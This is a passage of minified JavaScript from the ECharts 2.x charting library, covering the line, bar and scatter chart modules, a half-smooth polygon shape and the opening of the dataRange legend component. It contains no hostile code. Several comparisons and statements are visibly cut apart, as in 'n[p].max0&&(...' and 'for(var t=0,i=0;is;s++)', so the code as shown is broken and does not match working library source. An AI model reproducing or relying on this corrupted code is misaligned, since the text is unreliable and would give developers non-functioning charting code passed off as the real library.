y)y[W].length>0&&(this.finalPLMap[W]=this.finalPLMap[W]||[],this.finalPLMap[W].push(y[W]),y[W]=[]);this._calculMarkMapXY(n,i,"y"),this._buildBorkenLine(e,this.finalPLMap,u,"horizontal")},_buildVertical:function(e,t,i,n){for(var a,o,r,s,l,h,m,V,U,d=this.series,p=i[0][0],c=d[p],u=this.component.yAxis.getAxis(c.yAxisIndex||0),y={},g=0,b=t;b>g&&null!=u.getNameByIndex(g);g++){r=u.getCoordByIndex(g);for(var f=0,k=i.length;k>f;f++){a=this.component.xAxis.getAxis(d[i[f][0]].xAxisIndex||0),l=s=m=h=a.getCoord(0);for(var x=0,_=i[f].length;_>x;x++)p=i[f][x],c=d[p],V=c.data[g],U=this.getDataFromOption(V,"-"),y[p]=y[p]||[],n[p]=n[p]||{min:Number.POSITIVE_INFINITY,max:Number.NEGATIVE_INFINITY,sum:0,counter:0,average:0},"-"!==U?(U>=0?(s+=x>0?a.getCoordSize(U):a.getCoord(U)-l,o=s):0>U&&(h-=x>0?a.getCoordSize(U):m-a.getCoord(U),o=h),y[p].push([o,r,g,u.getNameByIndex(g),l,r]),n[p].min>U&&(n[p].min=U,n[p].minX=o,n[p].minY=r),n[p].max0&&(this.finalPLMap[p]=this.finalPLMap[p]||[],this.finalPLMap[p].push(y[p]),y[p]=[])}s=this.component.grid.getXend();for(var L,f=0,k=i.length;k>f;f++)for(var x=0,_=i[f].length;_>x;x++)p=i[f][x],c=d[p],V=c.data[g],U=this.getDataFromOption(V,"-"),"-"==U&&this.deepQuery([V,c,this.option],"calculable")&&(L=this.deepQuery([V,c],"symbolSize"),s-=2*L+5,o=s,this.shapeList.push(this._getCalculableItem(p,g,u.getNameByIndex(g),o,r,"vertical")))}for(var W in y)y[W].length>0&&(this.finalPLMap[W]=this.finalPLMap[W]||[],this.finalPLMap[W].push(y[W]),y[W]=[]);this._calculMarkMapXY(n,i,"x"),this._buildBorkenLine(e,this.finalPLMap,u,"vertical")},_buildOther:function(e,t,i,n){for(var a,o=this.series,r={},s=0,l=i.length;l>s;s++)for(var h=0,m=i[s].length;m>h;h++){var V=i[s][h],U=o[V];a=this.component.xAxis.getAxis(U.xAxisIndex||0);var d=this.component.yAxis.getAxis(U.yAxisIndex||0),p=d.getCoord(0);r[V]=r[V]||[],n[V]=n[V]||{min0:Number.POSITIVE_INFINITY,min1:Number.POSITIVE_INFINITY,max0:Number.NEGATIVE_INFINITY,max1:Number.NEGATIVE_INFINITY,sum0:0,sum1:0,counter0:0,counter1:0,average0:0,average1:0};for(var c=0,u=U.data.length;u>c;c++){var y=U.data[c],g=this.getDataFromOption(y,"-");if(g instanceof Array){var b=a.getCoord(g[0]),f=d.getCoord(g[1]);r[V].push([b,f,c,g[0],b,p]),n[V].min0>g[0]&&(n[V].min0=g[0],n[V].minY0=f,n[V].minX0=b),n[V].max0g[1]&&(n[V].min1=g[1],n[V].minY1=f,n[V].minX1=b),n[V].max10&&(this.finalPLMap[k]=this.finalPLMap[k]||[],this.finalPLMap[k].push(r[k]),r[k]=[]);this._calculMarkMapXY(n,i,"xy"),this._buildBorkenLine(e,this.finalPLMap,a,"other")},_buildBorkenLine:function(e,t,i,n){for(var o,s="other"==n?"horizontal":n,V=this.series,U=e.length-1;U>=0;U--){var d=e[U],p=V[d],c=t[d];if(p.type===this.type&&null!=c)for(var u=this._getBbox(d,s),y=this._sIndex2ColorMap[d],g=this.query(p,"itemStyle.normal.lineStyle.width"),b=this.query(p,"itemStyle.normal.lineStyle.type"),f=this.query(p,"itemStyle.normal.lineStyle.color"),k=this.getItemStyleColor(this.query(p,"itemStyle.normal.color"),d,-1),x=null!=this.query(p,"itemStyle.normal.areaStyle"),_=this.query(p,"itemStyle.normal.areaStyle.color"),L=0,W=c.length;W>L;L++){var X=c[L],v="other"!=n&&this._isLarge(s,X);if(v)X=this._getLargePointList(s,X,p.dataFilter);else for(var w=0,K=X.length;K>w;w++)o=p.data[X[w][2]],(this.deepQuery([o,p,this.option],"calculable")||this.deepQuery([o,p],"showAllSymbol")||"categoryAxis"===i.type&&i.isMainAxis(X[w][2])&&"none"!=this.deepQuery([o,p],"symbol"))&&this.shapeList.push(this._getSymbol(d,X[w][2],X[w][3],X[w][0],X[w][1],s));var I=new a({zlevel:p.zlevel,z:p.z,style:{miterLimit:g,pointList:X,strokeColor:f||k||y,lineWidth:g,lineType:b,smooth:this._getSmooth(p.smooth),smoothConstraint:u,shadowColor:this.query(p,"itemStyle.normal.lineStyle.shadowColor"),shadowBlur:this.query(p,"itemStyle.normal.lineStyle.shadowBlur"),shadowOffsetX:this.query(p,"itemStyle.normal.lineStyle.shadowOffsetX"),shadowOffsetY:this.query(p,"itemStyle.normal.lineStyle.shadowOffsetY")},hoverable:!1,_main:!0,_seriesIndex:d,_orient:s});if(l.pack(I,V[d],d,0,L,V[d].name),this.shapeList.push(I),x){var J=new r({zlevel:p.zlevel,z:p.z,style:{miterLimit:g,pointList:h.clone(X).concat([[X[X.length-1][4],X[X.length-1][5]],[X[0][4],X[0][5]]]),brushType:"fill",smooth:this._getSmooth(p.smooth),smoothConstraint:u,color:_?_:m.alpha(y,.5)},highlightStyle:{brushType:"fill"},hoverable:!1,_main:!0,_seriesIndex:d,_orient:s});l.pack(J,V[d],d,0,L,V[d].name),this.shapeList.push(J)}}}},_getBbox:function(e,t){var i=this.component.grid.getBbox(),n=this.xMarkMap[e];return null!=n.minX0?[[Math.min(n.minX0,n.maxX0,n.minX1,n.maxX1),Math.min(n.minY0,n.maxY0,n.minY1,n.maxY1)],[Math.max(n.minX0,n.maxX0,n.minX1,n.maxX1),Math.max(n.minY0,n.maxY0,n.minY1,n.maxY1)]]:("horizontal"===t?(i[0][1]=Math.min(n.minY,n.maxY),i[1][1]=Math.max(n.minY,n.maxY)):(i[0][0]=Math.min(n.minX,n.maxX),i[1][0]=Math.max(n.minX,n.maxX)),i)},_isLarge:function(e,t){return t.length<2?!1:"horizontal"===e?Math.abs(t[0][0]-t[1][0])<.5:Math.abs(t[0][1]-t[1][1])<.5},_getLargePointList:function(e,t,i){var n;n="horizontal"===e?this.component.grid.getWidth():this.component.grid.getHeight();var a=t.length,o=[];if("function"!=typeof i)switch(i){case"min":i=function(e){return Math.max.apply(null,e)};break;case"max":i=function(e){return Math.min.apply(null,e)};break;case"average":i=function(e){for(var t=0,i=0;is;s++){var l=Math.floor(a/n*s),h=Math.min(Math.floor(a/n*(s+1)),a);if(!(l>=h)){for(var m=l;h>m;m++)r[m-l]="horizontal"===e?t[m][1]:t[m][0];r.length=h-l;for(var V=i(r),U=-1,d=1/0,m=l;h>m;m++){var p="horizontal"===e?t[m][1]:t[m][0],c=Math.abs(p-V);d>c&&(U=m,d=c)}var u=t[U].slice();"horizontal"===e?u[1]=V:u[0]=V,o.push(u)}}return o},_getSmooth:function(e){return e?.3:0},_getCalculableItem:function(e,t,i,n,a,o){var r=this.series,l=r[e].calculableHolderColor||this.ecTheme.calculableHolderColor||s.calculableHolderColor,h=this._getSymbol(e,t,i,n,a,o);return h.style.color=l,h.style.strokeColor=l,h.rotation=[0,0],h.hoverable=!1,h.draggable=!1,h.style.text=void 0,h},_getSymbol:function(e,t,i,n,a,o){var r=this.series,s=r[e],l=s.data[t],h=this.getSymbolShape(s,e,l,t,i,n,a,this._sIndex2ShapeMap[e],this._sIndex2ColorMap[e],"#fff","vertical"===o?"horizontal":"vertical");return h.zlevel=s.zlevel,h.z=s.z+1,this.deepQuery([l,s,this.option],"calculable")&&(this.setCalculable(h),h.draggable=!0),h},getMarkCoord:function(e,t){var i=this.series[e],n=this.xMarkMap[e],a=this.component.xAxis.getAxis(i.xAxisIndex),o=this.component.yAxis.getAxis(i.yAxisIndex);if(t.type&&("max"===t.type||"min"===t.type||"average"===t.type)){var r=null!=t.valueIndex?t.valueIndex:null!=n.maxX0?"1":"";return[n[t.type+"X"+r],n[t.type+"Y"+r],n[t.type+"Line"+r],n[t.type+r]]}return["string"!=typeof t.xAxis&&a.getCoordByIndex?a.getCoordByIndex(t.xAxis||0):a.getCoord(t.xAxis||0),"string"!=typeof t.yAxis&&o.getCoordByIndex?o.getCoordByIndex(t.yAxis||0):o.getCoord(t.yAxis||0)]},refresh:function(e){e&&(this.option=e,this.series=e.series),this.backupShapeList(),this._buildShape()},ontooltipHover:function(e,t){for(var i,n,a=e.seriesIndex,o=e.dataIndex,r=a.length;r--;)if(i=this.finalPLMap[a[r]])for(var s=0,l=i.length;l>s;s++){n=i[s];for(var h=0,m=n.length;m>h;h++)o===n[h][2]&&t.push(this._getSymbol(a[r],n[h][2],n[h][3],n[h][0],n[h][1],"horizontal"))}},addDataAnimation:function(e,t){function i(){c--,0===c&&t&&t()}function n(e){e.style.controlPointList=null}for(var a=this.series,o={},r=0,s=e.length;s>r;r++)o[e[r][0]]=e[r];for(var l,h,m,V,U,d,p,c=0,r=this.shapeList.length-1;r>=0;r--)if(U=this.shapeList[r]._seriesIndex,o[U]&&!o[U][3]){if(this.shapeList[r]._main&&this.shapeList[r].style.pointList.length>1){if(d=this.shapeList[r].style.pointList,h=Math.abs(d[0][0]-d[1][0]),V=Math.abs(d[0][1]-d[1][1]),p="horizontal"===this.shapeList[r]._orient,o[U][2]){if("half-smooth-polygon"===this.shapeList[r].type){var u=d.length;this.shapeList[r].style.pointList[u-3]=d[u-2],this.shapeList[r].style.pointList[u-3][p?0:1]=d[u-4][p?0:1],this.shapeList[r].style.pointList[u-2]=d[u-1]}this.shapeList[r].style.pointList.pop(),p?(l=h,m=0):(l=0,m=-V)}else{if(this.shapeList[r].style.pointList.shift(),"half-smooth-polygon"===this.shapeList[r].type){var y=this.shapeList[r].style.pointList.pop();p?y[0]=d[0][0]:y[1]=d[0][1],this.shapeList[r].style.pointList.push(y)}p?(l=-h,m=0):(l=0,m=V)}this.shapeList[r].style.controlPointList=null,this.zr.modShape(this.shapeList[r])}else{if(o[U][2]&&this.shapeList[r]._dataIndex===a[U].data.length-1){this.zr.delShape(this.shapeList[r].id);continue}if(!o[U][2]&&0===this.shapeList[r]._dataIndex){this.zr.delShape(this.shapeList[r].id);continue}}this.shapeList[r].position=[0,0],c++,this.zr.animate(this.shapeList[r].id,"").when(this.query(this.option,"animationDurationUpdate"),{position:[l,m]}).during(n).done(i).start()}c||t&&t()}},o.prototype.iconLibrary.legendLineIcon=i,h.inherits(t,n),e("../chart").define("line",t),t}),i("echarts/util/shape/HalfSmoothPolygon",["require","zrender/shape/Base","zrender/shape/util/smoothBezier","zrender/tool/util","zrender/shape/Polygon"],function(e){function t(e){i.call(this,e)}var i=e("zrender/shape/Base"),n=e("zrender/shape/util/smoothBezier"),a=e("zrender/tool/util");return t.prototype={type:"half-smooth-polygon",buildPath:function(t,i){var a=i.pointList;if(!(a.length<2))if(i.smooth){var o=n(a.slice(0,-2),i.smooth,!1,i.smoothConstraint);t.moveTo(a[0][0],a[0][1]);for(var r,s,l,h=a.length,m=0;h-3>m;m++)r=o[2*m],s=o[2*m+1],l=a[m+1],t.bezierCurveTo(r[0],r[1],s[0],s[1],l[0],l[1]);t.lineTo(a[h-2][0],a[h-2][1]),t.lineTo(a[h-1][0],a[h-1][1]),t.lineTo(a[0][0],a[0][1])}else e("zrender/shape/Polygon").prototype.buildPath(t,i)}},a.inherits(t,i),t}),i("echarts/chart/bar",["require","./base","zrender/shape/Rectangle","../component/axis","../component/grid","../component/dataZoom","../config","../util/ecData","zrender/tool/util","zrender/tool/color","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Rectangle");e("../component/axis"),e("../component/grid"),e("../component/dataZoom");var a=e("../config");a.bar={zlevel:0,z:2,clickable:!0,legendHoverLink:!0,xAxisIndex:0,yAxisIndex:0,barMinHeight:0,barGap:"30%",barCategoryGap:"20%",itemStyle:{normal:{barBorderColor:"#fff",barBorderRadius:0,barBorderWidth:0,label:{show:!1}},emphasis:{barBorderColor:"#fff",barBorderRadius:0,barBorderWidth:0,label:{show:!1}}}};var o=e("../util/ecData"),r=e("zrender/tool/util"),s=e("zrender/tool/color");return t.prototype={type:a.CHART_TYPE_BAR,_buildShape:function(){this._buildPosition()},_buildNormal:function(e,t,i,o,r){for(var s,l,h,m,V,U,d,p,c,u,y,g,b=this.series,f=i[0][0],k=b[f],x="horizontal"==r,_=this.component.xAxis,L=this.component.yAxis,W=x?_.getAxis(k.xAxisIndex):L.getAxis(k.yAxisIndex),X=this._mapSize(W,i),v=X.gap,w=X.barGap,K=X.barWidthMap,I=X.barMaxWidthMap,J=X.barWidth,C=X.barMinHeightMap,S=X.interval,E=this.deepQuery([this.ecTheme,a],"island.r"),F=0,T=t;T>F&&null!=W.getNameByIndex(F);F++){x?m=W.getCoordByIndex(F)-v/2:V=W.getCoordByIndex(F)+v/2;for(var z=0,A=i.length;A>z;z++){var M=b[i[z][0]].yAxisIndex||0,O=b[i[z][0]].xAxisIndex||0;s=x?L.getAxis(M):_.getAxis(O),d=U=c=p=s.getCoord(0);for(var P=0,D=i[z].length;D>P;P++)f=i[z][P],k=b[f],y=k.data[F],g=this.getDataFromOption(y,"-"),o[f]=o[f]||{min:Number.POSITIVE_INFINITY,max:Number.NEGATIVE_INFINITY,sum:0,counter:0,average:0},h=Math.min(I[f]||Number.MAX_VALUE,K[f]||J),"-"!==g&&(g>0?(l=P>0?s.getCoordSize(g):x?d-s.getCoord(g):s.getCoord(g)-d,1===D&&C[f]>l&&(l=C[f]),x?(U-=l,V=U):(m=U,U+=l)):0>g?(l=P>0?s.getCoordSize(g):x?s.getCoord(g)-c:c-s.getCoord(g),1===D&&C[f]>l&&(l=C[f]),x?(V=p,p+=l):(p-=l,m=p)):(l=0,x?(U-=l,V=U):(m=U,U+=l)),o[f][F]=x?m+h/2:V-h/2,o[f].min>g&&(o[f].min=g,x?(o[f].minY=V,o[f].minX=o[f][F]):(o[f].minX=m+l,o[f].minY=o[f][F])),o[f].maxP;P++)f=i[z][P],k=b[f],y=k.data[F],g=this.getDataFromOption(y,"-"),h=Math.min(I[f]||Number.MAX_VALUE,K[f]||J),"-"==g&&this.deepQuery([y,k,this.option],"calculable")&&(x?(U-=E,V=U):(m=U,U+=E),u=this._getBarItem(f,F,W.getNameByIndex(F),m,V-(x?0:h),x?h:E,x?E:h,x?"vertical":"horizontal"),u.hoverable=!1,u.draggable=!1,u.style.lineWidth=1,u.style.brushType="stroke",u.style.strokeColor=k.calculableHolderColor||this.ecTheme.calculableHolderColor||a.calculableHolderColor,this.shapeList.push(new n(u)));x?m+=h+w:V-=h+w}}this._calculMarkMapXY(o,i,x?"y":"x")},_buildHorizontal:function(e,t,i,n){return this._buildNormal(e,t,i,n,"horizontal")},_buildVertical:function(e,t,i,n){return this._buildNormal(e,t,i,n,"vertical")},_buildOther:function(e,t,i,a){for(var o=this.series,r=0,s=i.length;s>r;r++)for(var l=0,h=i[r].length;h>l;l++){var m=i[r][l],V=o[m],U=V.xAxisIndex||0,d=this.component.xAxis.getAxis(U),p=d.getCoord(0),c=V.yAxisIndex||0,u=this.component.yAxis.getAxis(c),y=u.getCoord(0);a[m]=a[m]||{min0:Number.POSITIVE_INFINITY,min1:Number.POSITIVE_INFINITY,max0:Number.NEGATIVE_INFINITY,max1:Number.NEGATIVE_INFINITY,sum0:0,sum1:0,counter0:0,counter1:0,average0:0,average1:0};for(var g=0,b=V.data.length;b>g;g++){var f=V.data[g],k=this.getDataFromOption(f,"-");if(k instanceof Array){var x,_,L=d.getCoord(k[0]),W=u.getCoord(k[1]),X=[f,V],v=this.deepQuery(X,"barWidth")||10,w=this.deepQuery(X,"barHeight");null!=w?(x="horizontal",k[0]>0?(v=L-p,L-=v):v=k[0]<0?p-L:0,_=this._getBarItem(m,g,k[0],L,W-w/2,v,w,x)):(x="vertical",k[1]>0?w=y-W:k[1]<0?(w=W-y,W-=w):w=0,_=this._getBarItem(m,g,k[0],L-v/2,W,v,w,x)),this.shapeList.push(new n(_)),L=d.getCoord(k[0]),W=u.getCoord(k[1]),a[m].min0>k[0]&&(a[m].min0=k[0],a[m].minY0=W,a[m].minX0=L),a[m].max0k[1]&&(a[m].min1=k[1],a[m].minY1=W,a[m].minX1=L),a[m].max1=a&&(d=Math.floor(t.length/n),a=1);else if(n="string"==typeof U&&U.match(/%$/)?(e.getGap()*(100-parseFloat(U))/100).toFixed(2)-0:e.getGap()-U,"string"==typeof V&&V.match(/%$/)?(V=parseFloat(V)/100,a=+((n-m)/((t.length-1)*V+t.length-h)).toFixed(2),V=a*V):(V=parseFloat(V),a=+((n-m-V*(t.length-1))/(t.length-h)).toFixed(2)),0>=a)return this._mapSize(e,t,!0)}else if(n=h>1?"string"==typeof U&&U.match(/%$/)?+(e.getGap()*(100-parseFloat(U))/100).toFixed(2):e.getGap()-U:m,a=0,V=h>1?+((n-m)/(h-1)).toFixed(2):0,0>V)return this._mapSize(e,t,!0);return this._recheckBarMaxWidth(t,r,s,l,n,a,V,d)},_findSpecialBarSzie:function(e,t){for(var i,n,a,o,r=this.series,s={},l={},h={},m=0,V=0,U=0,d=e.length;d>U;U++)for(var p={barWidth:!1,barMaxWidth:!1},c=0,u=e[U].length;u>c;c++){var y=e[U][c],g=r[y];if(!t){if(p.barWidth)s[y]=i;else if(i=this.query(g,"barWidth"),null!=i){s[y]=i,V+=i,m++,p.barWidth=!0;for(var b=0,f=c;f>b;b++){var k=e[U][b];s[k]=i}}if(p.barMaxWidth)l[y]=n;else if(n=this.query(g,"barMaxWidth"),null!=n){l[y]=n,p.barMaxWidth=!0;for(var b=0,f=c;f>b;b++){var k=e[U][b];l[k]=n}}}h[y]=this.query(g,"barMinHeight"),a=null!=a?a:this.query(g,"barGap"),o=null!=o?o:this.query(g,"barCategoryGap")}return{barWidthMap:s,barMaxWidthMap:l,barMinHeightMap:h,sBarWidth:i,sBarMaxWidth:n,sBarWidthCounter:m,sBarWidthTotal:V,barGap:a,barCategoryGap:o}},_recheckBarMaxWidth:function(e,t,i,n,a,o,r,s){for(var l=0,h=e.length;h>l;l++){var m=e[l][0];i[m]&&i[m]0&&b.height>g&&b.width>g?(b.y+=g/2,b.height-=g,b.x+=g/2,b.width-=g):b.brushType="fill",m.highlightStyle.textColor=m.highlightStyle.color,m=this.addLabel(m,U,d,i,h);for(var f=[b,m.highlightStyle],k=0,x=f.length;x>k;k++){var _=f[k].textPosition;if("insideLeft"===_||"insideRight"===_||"insideTop"===_||"insideBottom"===_){var L=5;switch(_){case"insideLeft":f[k].textX=b.x+L,f[k].textY=b.y+b.height/2,f[k].textAlign="left",f[k].textBaseline="middle";break;case"insideRight":f[k].textX=b.x+b.width-L,f[k].textY=b.y+b.height/2,f[k].textAlign="right",f[k].textBaseline="middle";break;case"insideTop":f[k].textX=b.x+b.width/2,f[k].textY=b.y+L/2,f[k].textAlign="center",f[k].textBaseline="top";break;case"insideBottom":f[k].textX=b.x+b.width/2,f[k].textY=b.y+b.height-L/2,f[k].textAlign="center",f[k].textBaseline="bottom"}f[k].textPosition="specific",f[k].textColor=f[k].textColor||"#fff"}}return this.deepQuery([d,U,this.option],"calculable")&&(this.setCalculable(m),m.draggable=!0),o.pack(m,V[e],e,V[e].data[t],t,i),m},getMarkCoord:function(e,t){var i,n,a=this.series[e],o=this.xMarkMap[e],r=this.component.xAxis.getAxis(a.xAxisIndex),s=this.component.yAxis.getAxis(a.yAxisIndex);if(!t.type||"max"!==t.type&&"min"!==t.type&&"average"!==t.type)if(o.isHorizontal){i="string"==typeof t.xAxis&&r.getIndexByName?r.getIndexByName(t.xAxis):t.xAxis||0;var l=o[i];l=null!=l?l:"string"!=typeof t.xAxis&&r.getCoordByIndex?r.getCoordByIndex(t.xAxis||0):r.getCoord(t.xAxis||0),n=[l,s.getCoord(t.yAxis||0)]}else{i="string"==typeof t.yAxis&&s.getIndexByName?s.getIndexByName(t.yAxis):t.yAxis||0;var h=o[i];h=null!=h?h:"string"!=typeof t.yAxis&&s.getCoordByIndex?s.getCoordByIndex(t.yAxis||0):s.getCoord(t.yAxis||0),n=[r.getCoord(t.xAxis||0),h]}else{var m=null!=t.valueIndex?t.valueIndex:null!=o.maxX0?"1":"";n=[o[t.type+"X"+m],o[t.type+"Y"+m],o[t.type+"Line"+m],o[t.type+m]]}return n},refresh:function(e){e&&(this.option=e,this.series=e.series),this.backupShapeList(),this._buildShape()},addDataAnimation:function(e,t){function i(){c--,0===c&&t&&t()}for(var n=this.series,a={},r=0,s=e.length;s>r;r++)a[e[r][0]]=e[r];for(var l,h,m,V,U,d,p,c=0,r=this.shapeList.length-1;r>=0;r--)if(d=o.get(this.shapeList[r],"seriesIndex"),a[d]&&!a[d][3]&&"rectangle"===this.shapeList[r].type){if(p=o.get(this.shapeList[r],"dataIndex"),U=n[d],a[d][2]&&p===U.data.length-1){this.zr.delShape(this.shapeList[r].id);continue}if(!a[d][2]&&0===p){this.zr.delShape(this.shapeList[r].id);continue}"horizontal"===this.shapeList[r]._orient?(V=this.component.yAxis.getAxis(U.yAxisIndex||0).getGap(),m=a[d][2]?-V:V,l=0):(h=this.component.xAxis.getAxis(U.xAxisIndex||0).getGap(),l=a[d][2]?h:-h,m=0),this.shapeList[r].position=[0,0],c++,this.zr.animate(this.shapeList[r].id,"").when(this.query(this.option,"animationDurationUpdate"),{position:[l,m]}).done(i).start()}c||t&&t()}},r.inherits(t,i),e("../chart").define("bar",t),t}),i("echarts/chart/scatter",["require","./base","../util/shape/Symbol","../component/axis","../component/grid","../component/dataZoom","../component/dataRange","../config","zrender/tool/util","zrender/tool/color","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.refresh(a)}var i=e("./base"),n=e("../util/shape/Symbol");e("../component/axis"),e("../component/grid"),e("../component/dataZoom"),e("../component/dataRange");var a=e("../config");a.scatter={zlevel:0,z:2,clickable:!0,legendHoverLink:!0,xAxisIndex:0,yAxisIndex:0,symbolSize:4,large:!1,largeThreshold:2e3,itemStyle:{normal:{label:{show:!1}},emphasis:{label:{show:!1}}}};var o=e("zrender/tool/util"),r=e("zrender/tool/color");return t.prototype={type:a.CHART_TYPE_SCATTER,_buildShape:function(){var e=this.series;this._sIndex2ColorMap={},this._symbol=this.option.symbolList,this._sIndex2ShapeMap={},this.selectedMap={},this.xMarkMap={};for(var t,i,n,o,s=this.component.legend,l=[],h=0,m=e.length;m>h;h++)if(t=e[h],i=t.name,t.type===a.CHART_TYPE_SCATTER){if(e[h]=this.reformOption(e[h]),this.legendHoverLink=e[h].legendHoverLink||this.legendHoverLink,this._sIndex2ShapeMap[h]=this.query(t,"symbol")||this._symbol[h%this._symbol.length],s){if(this.selectedMap[i]=s.isSelected(i),this._sIndex2ColorMap[h]=r.alpha(s.getColor(i),.5),n=s.getItemShape(i)){var o=this._sIndex2ShapeMap[h];n.style.brushType=o.match("empty")?"stroke":"both",o=o.replace("empty","").toLowerCase(),o.match("rectangle")&&(n.style.x+=Math.round((n.style.width-n.style.height)/2),n.style.width=n.style.height),o.match("star")&&(n.style.n=o.replace("star","")-0||5,o="star"),o.match("image")&&(n.style.image=o.replace(new RegExp("^image:\\/\\/"),""),n.style.x+=Math.round((n.style.width-n.style.height)/2),n.style.width=n.style.height,o="image"),n.style.iconType=o,s.setItemShape(i,n)}}else this.selectedMap[i]=!0,this._sIndex2ColorMap[h]=r.alpha(this.zr.getColor(h),.5);this.selectedMap[i]&&l.push(h)}this._buildSeries(l),this.addShapeList()},_buildSeries:function(e){if(0!==e.length){for(var t,i,n,a,o,r,s,l,h=this.series,m={},V=0,U=e.length;U>V;V++)if(t=e[V],i=h[t],0!==i.data.length){o=this.component.xAxis.getAxis(i.xAxisIndex||0),r=this.component.yAxis.getAxis(i.yAxisIndex||0),m[t]=[];for(var d=0,p=i.data.length;p>d;d++)n=i.data[d],a=this.getDataFromOption(n,"-"),"-"===a||a.length<2||(s=o.getCoord(a[0]),l=r.getCoord(a[1]),m[t].push([s,l,d,n.name||""]));this.xMarkMap[t]=this._markMap(o,r,i.data,m[t]),this.buildMark(t)}this._buildPointList(m)}},_markMap:function(e,t,i,n){for(var a,o={min0:Number.POSITIVE_INFINITY,max0:Number.NEGATIVE_INFINITY,sum0:0,counter0:0,average0:0,min1:Number.POSITIVE_INFINITY,max1:Number.NEGATIVE_INFINITY,sum1:0,counter1:0,average1:0},r=0,s=n.length;s>r;r++)a=i[n[r][2]].value||i[n[r][2]],o.min0>a[0]&&(o.min0=a[0],o.minY0=n[r][1],o.minX0=n[r][0]),o.max0a[1]&&(o.min1=a[1],o.minY1=n[r][1],o.minX1=n[r][0]),o.max1t.largeThreshold)this.shapeList.push(this._getLargeSymbol(t,i,this.getItemStyleColor(this.query(t,"itemStyle.normal.color"),r,-1)||this._sIndex2ColorMap[r]));else for(var s=0,l=i.length;l>s;s++)n=i[s],a=this._getSymbol(r,n[2],n[3],n[0],n[1]),a&&this.shapeList.push(a)},_getSymbol:function(e,t,i,n,a){var o,r=this.series,s=r[e],l=s.data[t],h=this.component.dataRange;if(h){if(o=isNaN(l[2])?this._sIndex2ColorMap[e]:h.getColor(l[2]),!o)return null}else o=this._sIndex2ColorMap[e];var m=this.getSymbolShape(s,e,l,t,i,n,a,this._sIndex2ShapeMap[e],o,"rgba(0,0,0,0)","vertical");return m.zlevel=s.zlevel,m.z=s.z,m._main=!0,m},_getLargeSymbol:function(e,t,i){return new n({zlevel:e.zlevel,z:e.z,_main:!0,hoverable:!1,style:{pointList:t,color:i,strokeColor:i},highlightStyle:{pointList:[]}})},getMarkCoord:function(e,t){var i,n=this.series[e],a=this.xMarkMap[e],o=this.component.xAxis.getAxis(n.xAxisIndex),r=this.component.yAxis.getAxis(n.yAxisIndex);if(!t.type||"max"!==t.type&&"min"!==t.type&&"average"!==t.type)i=["string"!=typeof t.xAxis&&o.getCoordByIndex?o.getCoordByIndex(t.xAxis||0):o.getCoord(t.xAxis||0),"string"!=typeof t.yAxis&&r.getCoordByIndex?r.getCoordByIndex(t.yAxis||0):r.getCoord(t.yAxis||0)];else{var s=null!=t.valueIndex?t.valueIndex:1;i=[a[t.type+"X"+s],a[t.type+"Y"+s],a[t.type+"Line"+s],a[t.type+s]]}return i},refresh:function(e){e&&(this.option=e,this.series=e.series),this.backupShapeList(),this._buildShape()},ondataRange:function(e,t){this.component.dataRange&&(this.refresh(),t.needRefresh=!0)}},o.inherits(t,i),e("../chart").define("scatter",t),t}),i("echarts/component/dataRange",["require","./base","zrender/shape/Text","zrender/shape/Rectangle","../util/shape/HandlePolygon","../config","zrender/tool/util","zrender/tool/event","zrender/tool/area","zrender/tool/color","../component"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o);var s=this;s._ondrift=function(e,t){return s.__ondrift(this,e,t)},s._ondragend=function(){return s.__ondragend()},s._dataRangeSelected=function(e){return s.__dataRangeSelected(e)},s._dispatchHoverLink=function(e){return s.__dispatchHoverLink(e)},s._onhoverlink=function(e){return s.__onhoverlink(e); + +},this._selectedMap={},this._range={},this.refresh(a),t.bind(r.EVENT.HOVER,this._onhoverlink)}var i=e("./base"),n=e("zrender/shape/Text"),a=e("zrender/shape/Rectangle"),o=e("../util/shape/HandlePolygon"),r=e("../config");r.dataRange={zlevel:0,z:4,show:!0,orient:"vertical",x:"left",y:"bottom",backgroundColor:"rgba(0,0,0,0)",borderColor:"#ccc",borderWidth:0,padding:5,itemGap:10,itemWidth:20,itemHeight:14,precision:0,splitNumber:5,splitList:null,calculable:!1,selectedMode:!0,hoverLink:!0,realtime:!0,color:["#006edd","#e0ffff"],textStyle:{color:"#333"}};var s=e("zrender/tool/util"),l=e("zrender/tool/event"),h=e("zrender/tool/area"),m=e("zrender/tool/color");return t.prototype={type:r.COMPONENT_TYPE_DATARANGE,_textGap:10,_buildShape:function(){if(this._itemGroupLocation=this._getItemGroupLocation(),this._buildBackground(),this._isContinuity()?this._buildGradient():this._buildItem(),this.dataRangeOption.show)for(var e=0,t=this.shapeList.length;t>e;e++)this.zr.addShape(this.shapeList[e]);this._syncShapeFromRange()},_buildItem:function(){var e,t,i,o,r=this._valueTextList,s=r.length,l=this.getFont(this.dataRangeOption.textStyle),m=this._itemGroupLocation.x,V=this._itemGroupLocation.y,U=this.dataRangeOption.itemWidth,d=this.dataRangeOption.itemHeight,p=this.dataRangeOption.itemGap,c=h.getTextHeight("国",l);"vertical"==this.dataRangeOption.orient&&"right"==this.dataRangeOption.x&&(m=this._itemGroupLocation.x+this._itemGroupLocation.width-U);var u=!0;this.dataRangeOption.text&&(u=!1,this.dataRangeOption.text[0]&&(i=this._getTextShape(m,V,this.dataRangeOption.text[0]),"horizontal"==this.dataRangeOption.orient?m+=h.getTextWidth(this.dataRangeOption.text[0],l)+this._textGap:(V+=c+this._textGap,i.style.y+=c/2+this._textGap,i.style.textBaseline="bottom"),this.shapeList.push(new n(i))));for(var y=0;s>y;y++)e=r[y],o=this.getColorByIndex(y),t=this._getItemShape(m,V,U,d,this._selectedMap[y]?o:"#ccc"),t._idx=y,t.onmousemove=this._dispatchHoverLink,this.dataRangeOption.selectedMode&&(t.clickable=!0,t.onclick=this._dataRangeSelected),this.shapeList.push(new a(t)),u&&(i={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:m+U+5,y:V,color:this._selectedMap[y]?this.dataRangeOption.textStyle.color:"#ccc",text:r[y],textFont:l,textBaseline:"top"},highlightStyle:{brushType:"fill"}},"vertical"==this.dataRangeOption.orient&&"right"==this.dataRangeOption.x&&(i.style.x-=U+10,i.style.textAlign="right"),i._idx=y,i.onmousemove=this._dispatchHoverLink,this.dataRangeOption.selectedMode&&(i.clickable=!0,i.onclick=this._dataRangeSelected),this.shapeList.push(new 